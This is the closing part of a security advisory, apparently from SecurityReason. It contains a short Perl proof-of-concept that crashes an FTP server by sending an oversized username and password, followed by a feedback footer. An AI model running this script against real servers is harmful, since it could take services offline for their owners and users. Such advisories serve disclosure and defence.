(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "A" x 4096;
my $pass = "A" x 22000;
print "Trying to connect to :$target...n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect";
print "Connected!n";
$ftp->login($user, $pass);
print "Poc Successfulln";
$ftp->quit;
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.